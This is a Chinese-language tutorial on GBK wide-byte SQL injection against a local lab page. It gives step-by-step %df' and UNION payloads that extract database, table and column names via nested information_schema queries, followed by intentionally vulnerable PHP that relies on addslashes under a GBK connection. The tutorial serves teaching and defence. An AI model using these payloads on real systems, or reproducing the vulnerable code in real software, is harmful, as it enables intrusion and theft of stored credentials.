Web網絡安全解析寬字節註入攻擊原理
寬字節註入攻擊
寬字節註入攻擊的測試地址:http://127.0.0.1/sqli/kuanzijie.php?id=1。
訪問id=1’,頁面返回的結果如圖46所示,程序並沒有報錯,反而多瞭一個轉義符(反斜杠)。
圖46 單引號被轉義
從返回的結果可以看出,參數id=1在數據庫查詢時是被單引號包圍的。當傳入id=1’時,傳入的單引號又被轉義符(反斜杠)轉義,導致參數ID無法逃逸單引號的包圍,所以在一般情況下,此處是不存在SQL註入漏洞的。不過有一個特例,就是當數據庫的編碼位GBK時,可以使用寬字節註入,寬字節的格式是在地址後先加一個%df,再加單引號,因為反斜杠的編碼為%5c,而在GBK編碼中,%df%5c是繁體字“連”,所以這時,單引號逃逸成功,報出MySQL數據庫的錯誤,如圖47所示。
圖47 利用寬字節逃逸單引號的包圍
由於輸入的參數id=1’,導致SQL語句多瞭一個單引號,所以需要使用註釋符來註釋程序自身的單引號。訪問id=1%df’–+,頁面返回的結果如圖48所示,可以看到,SQL語句已經符合語法規范。
圖48 利用註釋符註釋單引號
使用and 1=1和and 1=2進一步判斷註入,訪問id=1%df’ and 1=1–+和id=1%df’ and 1=2–+,返回結果如圖49和圖50所示。
圖49 訪問id=1%df’ and 1=1–+時頁面的結果
圖50 訪問id=1%df’ and 1=2–+時頁面的結果
當and 1=1程序返回正常時,and 1=2程序返回錯誤,所以判斷該參數ID存在SQL註入漏洞,接著使用order by查詢數據庫表的字段數量,最後得知字段數為3,如圖51所示。
圖51 獲取數據庫表的字段數
因為頁面直接顯示瞭數據庫中的內容,所以可以使用Union註入。與Union註入一樣,此時的Union語句是union select 1,2,3–+,為瞭讓頁面返回Union查詢的結果,需要把ID的值改為負數,結果如圖52所示。
圖52 結合Union註入
然後嘗試在頁面中2的位置查詢當前數據庫的庫名(database()),語句為:
id=-1%df' union select 1,database(),3--+
返回的結果如圖53所示。
圖53 獲取database()
查詢數據庫的表名時,一般使用一下語句。
id=-1%df' union select 1,(select table_name from information_schema.tables where table_schema='sql' limit 0,1),3--+
但是此時,由於單引號被轉義,會自動多出反斜杠,導致SQL語句出錯,所以此處需要利用另一種方法:嵌套查詢。就是在一個查詢語句中,再添加一個查詢語句,下列就是更改後的查詢數據庫表名的語句。
id=-1%df' union select 1,(select table_name from information_schema.tables where table_schema=(select database()) limit 0,1),3--+
可以看到,原本的table_schema=‘sql’變成瞭table_schema=(select database()),因為select database()的結果就是’sql’,這就是嵌套查詢,結果如圖54所示。
圖54 獲取數據庫的表名
從返回結果可以看到,數據庫的第一個表名時emails,如果想查詢後面的的表名,還需要修改limit後面的數字,這裡不再重復。使用以下語句嘗試查詢emails表裡的字段。
id=-1%df' union select 1,(select column_name from information_schema.columns where table_schema=(select database()) and table_name=(select table_name from information_schema.tables where table_schema=(select database()) limit 0,1) limit 0,1),3--+
這裡使用瞭三層嵌套,第一層時table_schema,它代表庫名的嵌套,第二層可第三層時table_name的嵌套。我們可以看到語句中有兩個limit,前一個limit控制表名的順序。如這裡查詢的不是emails表,而是users表,則需要更改limit的值。如圖55所示,後面的操作如Union註入所示,這裡不再重復。
圖55 獲取數據庫字段名
寬字節註入代碼分析
在寬字節註入頁面中,程序獲取GET參數ID,並對參數ID使用addslashes()轉義,然後拼接到SQL語句中,進行查詢,代碼如下。
<?php error_reporting(~E_WARNING); $conn = mysqli_connect("localhost","root","root","test"); // 檢測連接 if (mysqli_connect_errno()) { echo "連接失敗: " . mysqli_connect_error(); } mysqli_select_db($conn,'test') OR emMsg("數據庫連接失敗"); mysqli_query($conn,"SET NAMES 'gbk'"); $id = addslashes(@$_GET['id']); $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1"; $result = mysqli_query($conn,$sql); $row = mysqli_fetch_array($result); if($row) { echo $row['username'] ." : ". @$row['password']; } else { echo mysqli_error($conn); } ?> </font> <?php echo "<br>The Query String is : ".$sql ."<br>"; ?>
當訪問id=1’時,執行的SQL語句為:
select * from users where id='1\''
可以看到單引號被轉義符“\”轉義,所以在一般情況下,是無法註入的,但由於在數據庫查詢前執行瞭SET NAMES ‘GBK’,將編碼設置為寬字節GBK,所以此處存在寬字節註入漏洞。
在PHP中,通過iconv()進行編碼轉換時,也可能存在寬字符註入漏洞。
以上就是Web網絡安全解析寬字節註入攻擊原理的詳細內容,更多關於Web網絡安全寬字節註入攻擊的資料請關註WalkonNet其它相關文章!
推薦閱讀:
- Web網絡安全分析Union註入攻擊原理詳解
- Web安全解析Boolean註入攻擊原理
- Web網絡安全解析cookie註入攻擊原理
- Web網絡安全分析Base64註入攻擊原理詳解
- SQL註入報錯註入函數圖文詳解